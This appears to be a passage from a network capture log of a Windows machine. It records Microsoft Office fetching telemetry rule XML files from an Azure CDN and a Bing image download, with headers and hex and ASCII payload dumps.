2024-11-25 04:46:22 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.6	49733	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:46:22 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 04:46:22 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:46:22 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 6b6b0dda-801e-0083-096a-3cf0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T044622Z-174c587ffdf7t49mhC1TEB4qbg00000005a000000000fknm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 04:46:22 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.6	49736	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:46:24 UTC	346	OUT	GET /th?id=OADD2.10239399109665_1344PV668L57B53FJ&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-11-25 04:46:24 UTC	854	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 685668 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 7782B070DFE84B6B80F23AA5F34C005F Ref B: EWR30EDGE0709 Ref C: 2024-11-25T04:46:24Z Date: Mon, 25 Nov 2024 04:46:23 GMT Connection: close
2024-11-25 04:46:24 UTC	15530	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff e1 1a 1c 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 92 87 69 00 04 00 00 00 01 00 00 00 a6 00 00 00 d2 00 60 00 00 00 01 00 00 00 60 00 00 00 01 00 00 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 35 2e 39 20 28 57 69 6e 64 6f 77 73 29 00 00 32 30 32 34 3a 30 38 3a 30 36 20 30 39 3a 33 38 3a 34 31 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 04 00 00 00 01 00 00 04 38 a0 03 00 04 00 00 00 01 00 00 07 80 00 00 00 00 00 00 00 06 01 03 00 03 00 00 00 01 00 06 00 00 01 Data Ascii: JFIF``ExifMM*bj(1r2i``Adobe Photoshop 25.9 (Windows)2024:08:06 09:38:418
2024-11-25 04:46:24 UTC	16384	IN	Data Raw: fe 85 5a 45 a7 2b 5c 21 45 ca c4 b7 7a ac 16 ff 00 7f f7 93 c7 ff 00 2c e2 a4 d2 b5 08 35 08 76 7e e6 39 e3 ff 00 97 69 7e 7f 92 b1 e7 82 37 9a 44 f3 bf d5 ff 00 ac ff 00 80 ff 00 76 a4 b1 59 13 4f fb 6a 43 34 72 47 27 ee e4 fe 3f f6 ab 5a b8 4a 2e 1a 3f 78 ef a4 bd 9c 92 be e6 bc 97 91 db ea 1e 45 d7 93 6f 1f fc b3 92 5f f9 69 56 bf 76 f0 fc f0 f9 9e 67 ef 3c ca a5 03 c7 71 36 fb df f5 7e 5f ef 3f b9 59 71 df 5a 45 34 89 a7 4d fe 8b ff 00 3c ff 00 db af 3a 54 69 df dd 7a a3 d0 f6 f1 a5 69 b7 ee fe 27 51 05 9a 24 df b8 ff 00 96 94 5a e9 f3 c5 37 cf 0f ee fc ba e5 75 5d 7a ed 7c b4 48 66 b7 8e 4f f5 72 7f cf 3f f7 ab 26 fa f3 ed 13 49 7b 6b ac 4d 71 e5 ff 00 ac 8f cd ff 00 eb d6 1c d2 5a 2d 2e 6b fd a5 49 bf 71 5f e6 7a 34 1a 7f fa 24 88 9e 4c 7e 5f ef 24 Data Ascii: ZE+\!Ez,5v~9i~7DvYOjC4rG'?ZJ.?xEo_iVvg<q6~_?YqZE4M<:Tizi'Q$Z7u]z\|HfOr?&I{kMqZ-.kIq_z4$L~_$
2024-11-25 04:46:24 UTC	16384	IN	Data Raw: 1a 85 b2 69 de 75 ec 71 fe f3 fb 8f f2 d1 56 bc 47 77 f6 79 a3 d4 74 bf 26 49 e3 df e5 c9 17 fb 9b b6 b5 15 c1 4f eb 15 e0 a5 4e 31 4b cf 72 ad e7 f8 1c 07 87 2f be c9 35 cc f3 f9 5e 44 92 79 91 fe f7 e7 8f 77 fb 35 af ae 6a b6 96 50 c6 f7 53 4d 24 92 7f cf 2a 77 88 fe 18 4e ff 00 e9 5a 45 e5 a4 9f f4 ce e7 e4 ff 00 c7 ab 9c f1 8f 87 b5 d8 b5 68 e0 fb 1f 99 75 24 7e 5f fa 37 dc af d1 e1 fd 9f 8b ac a5 ed 2d dd 6d d8 f0 6b 52 c6 e1 69 b8 f2 76 b3 3a 3b 5f 16 68 57 70 ec bd fd dc 91 ff 00 cb 39 65 f3 92 b7 b4 36 8e e2 ee 44 b5 d4 bc c8 fc bf dd ff 00 7e 3f f6 6b c8 e3 d3 35 a8 ae e4 d3 9f 4d bb f3 23 ff 00 59 6d 5e 9b a6 b5 da 5a 5b 24 fa 6f ef ed ff 00 d5 fe eb fd 62 57 9b 9c 65 f8 7c 34 57 d5 a5 7e 6f 35 a1 d1 80 c4 54 ac 9a a8 ac d1 af 27 97 69 a8 46 89 Data Ascii: iuqVGwyt&ION1Kr/5^Dyw5jPSM$*wNZEhu$~_7-mkRiv:;_hWp9e6D~?k5M#Ym^Z[$obWe\|4W~o5T'iF
2024-11-25 04:46:25 UTC	16384	IN	Data Raw: fe af f7 bb d2 4f ee b4 6d 5c fe a5 ad 47 e2 0f b4 dd 5a c3 36 9d 75 7b 73 e5 c9 e6 fc f0 f9 bf ef 75 4a d8 f1 c6 af 61 ff 00 12 db a9 f4 d8 75 18 ee 3f 77 f6 29 62 f2 5f e5 ff 00 66 b9 7f 0c c5 e1 ad 33 c6 f7 da 5e a3 a3 dd c7 75 24 9f e8 d6 57 32 ba 7d 9f 77 f1 6e 4a d3 03 18 ba 53 c6 ba 6d 4e d7 b2 b7 d9 76 7a 5f f1 6a de 65 54 51 bc 61 7d 2e 6f f8 9b cb d1 f4 f8 f4 b7 bc bb bd d5 6e 2c 9f cc f3 7f d4 fc bf ec 55 7f 85 7f 67 96 d7 cf 9f ec 9f 6a ff 00 96 71 cb fe a6 3d bf dd a3 e2 a5 8e 93 a8 68 7f d9 69 a9 5d ff 00 6c 69 d2 7d a2 da 3b 9f 9f e4 ff 00 62 4d b5 57 e1 e7 86 6e de d6 c5 27 87 49 b8 ff 00 9f d8 fe d6 8f 34 9f ef ab fc 94 df d5 e7 92 ca 75 64 e3 26 f5 ba b6 dd bc 9f 43 47 c8 ab af 23 67 5c f1 b7 da 35 09 34 7b a9 a1 d2 af b4 eb 94 93 cb b9 Data Ascii: Om\GZ6u{suJau?w)b_f3^u$W2}wnJSmNvz_jeTQa}.on,Ugjq=hi]li};bMWn'I4ud&CG#g\54{
2024-11-25 04:46:25 UTC	16384	IN	Data Raw: 4d 6a aa b2 95 4e 6b 68 50 f8 43 7d a6 e9 36 92 5d 59 4d 34 93 de c8 ff 00 6d 8e 5f bf 1b ff 00 0f cd ed 54 2f bc 4d 7f 69 35 cc fa 3d 9f 99 fe 92 f2 49 fb dd 9f f0 2a e7 fc 01 e1 ab bd 43 cb ba b5 d7 a1 b7 93 cb fd e4 72 c4 fb 37 ff 00 73 ad 77 57 11 6a de 1f f8 7b 73 a7 5d 59 fe e3 e7 8e db f8 fc cd cf f3 ee ff 00 66 bb 73 1a 18 2a 19 83 52 6a a5 49 b4 9a 77 db f5 b6 c2 8d 7a b3 a2 9a d1 25 d3 a9 5e 4f 18 cf aa da 7d b6 7f 3a de 4b 7b 6f 32 49 3f 8e 3d bf c6 db 6b 4b c1 6d a9 5d 6a d1 ea f0 69 b6 92 69 b2 6f 93 ed ba 94 5f f1 f0 db 3f e5 96 ee 6b 37 f6 75 d3 e3 b7 b4 be 92 49 7e cf 25 ed cb c7 24 77 3f 3a 48 ab f7 57 67 f7 6b 53 e2 06 a1 ae e8 9e 19 fe ce fe cd bb d4 67 92 e7 cb 8f ca 87 ce 48 ff 00 ad 78 78 c8 d1 58 f9 e5 b8 58 a4 af 6d 5d ac 9e f6 5d Data Ascii: MjNkhPC}6]YM4m_T/Mi5=ICr7swWj{s]YfsRjIwz%^O}:K{o2I?=kKm]jiio_?k7uI~%$w?:HWgkSgHxxXXm]]
2024-11-25 04:46:25 UTC	16384	IN	Data Raw: c3 1f d9 7c ef 2f fd 64 72 7f cf 4f f6 6b 6c b6 8c e7 88 f6 58 84 54 9d e3 74 c8 34 af 14 7d 9e 1f 9e 6f de 7f d7 54 4a 7d f5 e4 7a 87 88 6c 5e 08 7c cb af fa 76 97 fd 67 fb dd ab 87 b5 69 ee 35 6d 9f f3 d3 fd 5f fb f5 e9 3e 0b b6 fe c7 87 63 ff 00 af 92 4f f9 65 2f 9c 95 ee 66 34 28 61 13 a9 15 ef b5 b1 e6 61 ea 3c 4a e4 7d 19 bd e7 dd da 43 1a 4f 0c d2 49 ff 00 7d f9 74 fd 4b 4a 9e 5f 2e f7 ce 86 3f 2f fd 67 f7 24 4a 66 a5 79 3c be 5e c8 66 93 fe 7a 49 15 55 8e fb 7c de 43 c3 e6 7f d7 5f 91 ff 00 dd af 8e 84 2b 2b 4a 2a cf a9 eb 17 fe dd f6 4d 42 38 1f fd 45 c4 75 5e fa ce ed ed 24 d9 79 0f 97 27 fc f5 97 e7 aa b2 36 9b fe ae 08 66 f2 ff 00 e9 af fc b3 ff 00 be aa 8d f6 bd 1e 9f a8 47 65 3c df bb ff 00 57 fe b5 2b 4c 3e 1a a5 49 2f 63 1d 6d d7 c8 99 49 Data Ascii: \|/drOklXTt4}oTJ}zl^\|vgi5m_>cOe/f4(aa<J}COI}tKJ_.?/g$Jfy<^fzIU\|C_++J*MB8Eu^$y'6fGe<W+L>I/cmI
2024-11-25 04:46:25 UTC	16384	IN	Data Raw: 93 cd 44 78 f7 7f 12 2f f1 57 47 71 f0 b7 c2 da 0e b9 27 91 15 dd cc 77 16 de 64 71 dc cb f3 da 5c 27 f1 ee 5f bc 86 b9 ef 11 eb da 15 bf 8c a4 d6 ed 7e c9 1c 92 5b 25 bf ee a2 d9 0d 7d 95 1a d9 66 3a 8c a9 65 f4 b9 9b 57 e6 71 fc 2d f7 9c d5 b9 a0 d5 49 74 ec ce d7 c6 b2 c1 e2 5f 0f 49 e1 bd 3e 6f f8 99 59 47 e7 c7 fc 09 71 f3 d7 01 a3 b5 ff 00 86 b5 68 ed 75 ed 1e ee dd 2d e3 f3 24 8e 28 b7 bf fb 2d 50 6b 1e 2c 83 f7 77 af 0c 3f f7 f7 7f fe 3b 51 78 57 c5 57 7a 9f 8b 2d a0 d3 bf 79 ff 00 2d 3e cd e5 79 c9 f2 ff 00 75 6a b0 79 2e 2f 07 81 a9 45 c5 3a 5a b6 9d d5 9f 5d 53 fd 0e 6a 98 a5 3a aa 49 58 f4 bf 88 0d 77 e1 cf 0c d8 eb d6 b0 fd a2 0b 99 12 48 ef 62 f9 2e 7e 6f e0 f9 38 ae 5f c7 fa 2f 8a 2e ed 2d b5 44 f0 de a1 27 ee fc cb 98 e2 b4 ff 00 57 fe d3 Data Ascii: Dx/WGq'wdq\'_~[%}f:eWq-It_I>oYGqhu-$(-Pk,w?;QxWWz-y->yujy./E:Z]Sj:IXwHb.~o8_/.-D'W
2024-11-25 04:46:25 UTC	16065	IN	Data Raw: a3 bd d3 3b 25 55 ba ae 36 b9 d3 69 7a 75 df 85 f5 6b d4 92 1f b3 41 7b 1a 47 1f ef 77 a4 89 b3 fb d5 e4 f3 c1 ae f8 83 c4 da 96 89 a2 d9 ea 12 49 f3 c7 1d 97 9b fd df fc 77 6d 7a 5f 83 75 fb 4f 12 99 2c ae 7c ab cb 58 f7 c9 e5 de fc 9e 67 f0 fc cb 57 e4 b3 d3 34 1d 72 5b ad 1f fe 24 bf da 31 a4 92 79 71 3e c9 3f e0 55 d5 84 cd b1 19 7d 6a df 58 87 36 21 a5 6b ad 34 6b 56 b7 d8 52 a2 f1 0a 12 7f 0d cf 3d f0 24 b3 f8 6a 2b ed 3b 5e d3 66 8e 49 2c 92 48 ed ae 7f bf fe ef f1 2d 74 9e 15 b9 bb d1 cc 97 5a dd e4 36 53 de ff 00 c7 b5 b4 b2 f9 3f f8 f7 f0 56 bf 8d 60 b4 f1 3e 93 6d f6 ab c9 7c cd 36 e5 24 8e 49 37 a4 de 53 7f d3 5f ee d7 19 f1 0b cf d2 a6 97 cf 86 2b 6b 5f 31 3e cd 24 b2 bc c9 27 fb 35 dd 46 b5 2c de 6e 9d 48 a8 d4 9f c4 bd 36 e5 ed 7b dd 93 52 Data Ascii: ;%U6izukA{GwIwmz_uO,\|XgW4r[$1yq>?U}jX6!k4kVR=$j+;^fI,H-tZ6S?V`>m\|6$I7S_+k_1>$'5F,nH6{R
2024-11-25 04:46:25 UTC	16384	IN	Data Raw: b1 c7 be 3f dd 6c 9a 39 5b f8 ab 8e 93 5a f1 67 89 74 fb 6f b7 4d f6 7b 1b 38 fc b8 e4 96 5d 90 fc bf 7b e6 fb d4 df f6 96 7d 80 96 1f 13 56 36 52 d5 b4 95 97 44 92 dc 6e 30 a3 55 4a dd 15 8f 4c f8 95 ae c9 6f a1 df 7d 8b 47 bb 8e 0b 98 fc 88 e5 b6 95 2d e2 8f fd fd df c5 58 df 03 e0 f1 4d c4 df da fa bc da 8d c5 8f 97 ff 00 1e df 23 c3 27 fd f3 5c 54 1e 21 d2 6e 2e ec 60 d6 e1 bb 8e c7 cc ff 00 59 f6 b7 74 93 fe 07 cd 7a b7 f6 d5 bd 95 9c 73 c1 0e a1 1e 9b e5 fe f3 cb 97 f7 32 7f df 5c d7 9d 99 e0 a5 96 60 16 0a 14 af 29 ef 27 e5 a5 a3 e6 fa fc 8d 63 59 d6 9d d6 85 7b 89 74 4d 33 c5 12 5d 5e c3 34 73 7f cb bd bd f6 9e 89 e4 23 7c db 19 76 e1 fd ab 92 f8 c7 a3 c7 e1 fb cb 6f 19 78 32 cf 4f b7 fb 67 ee ef 6c a3 d8 96 df 37 f1 2a e6 ba 3f 89 53 e9 be 2d d3 Data Ascii: ?l9[ZgtoM{8]{}V6RDn0UJLo}G-XM#'\T!n.`Ytzs2\`)'cY{tM3]^4s#\|vox2Ogl7*?S-
2024-11-25 04:46:25 UTC	16384	IN	Data Raw: 97 1b fe cd 24 51 79 d0 dd fc ff 00 c3 fe 0d 5c 3f 8f 27 4f 26 38 6e a6 f2 ef bf e5 9f 9b 17 c9 e5 7f bd 5e d7 0b c5 ac 54 9f 2d e9 4b 48 af 9d f7 eb 6e bd 8c 2b a6 e4 9b 5a bd cd cf 85 da 9f 83 21 bc b9 fb 55 9d a5 95 f7 96 fe 56 a5 27 f9 f9 1a b4 6f b5 eb ff 00 10 78 ca 38 34 7f 3a e6 ee 39 7f e5 a4 a9 e4 ff 00 f6 15 e4 16 37 32 45 a8 6c fd cf fd 34 f3 7e 44 ff 00 be bf 86 bd 27 e0 cb a4 3e 28 b9 ba 48 7e d1 27 c9 04 92 7d fb 7f 29 ff 00 87 fd ea f6 b3 ac a2 96 06 35 b1 b2 f7 df 2e 89 ea bf ce de 57 3a 30 b8 9b d3 74 dc 74 3d 6e de 5f 1c 5c 78 4f ec da a6 9b 14 77 d6 f2 79 91 c9 2f 92 fe 62 ff 00 77 6d 70 ff 00 15 75 0d 17 5a f0 6c 73 bc d1 49 7d a7 5c a4 77 3f e8 bb 1e 06 ff 00 75 b9 ae c2 df c4 76 8f 0d f6 91 1c b3 59 c7 a7 47 b3 cc f2 bf 75 1c bf f4 Data Ascii: $Qy\?'O&8n^T-KHn+Z!UV'ox84:972El4~D'>(H~'})5.W:0tt=n_\xOwy/bwmpuZlsI}\w?uvYGu

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.6	49737	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:46:24 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 04:46:24 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:46:24 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 65361fd5-201e-0033-283f-3cb167000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T044624Z-15b8b599d889gj5whC1TEBfyk0000000058g00000000ag1v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 04:46:24 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.6	49739	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:46:24 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 04:46:24 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:46:24 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: 012be7a2-401e-0035-011b-3e82d8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T044624Z-15b8b599d889fz52hC1TEB59as00000005b000000000gt2c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 04:46:24 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.6	49741	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:46:24 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 04:46:24 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:46:24 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: 6ebbc676-001e-005a-784b-3cc3d0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T044624Z-15b8b599d88l2dpthC1TEBmzr000000005g0000000002k5b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 04:46:24 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.6	49738	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:46:24 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 04:46:25 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:46:24 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: da423632-601e-0002-52c6-3ea786000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T044624Z-178bfbc474bfw4gbhC1NYCunf400000006zg000000008f13 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 04:46:25 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 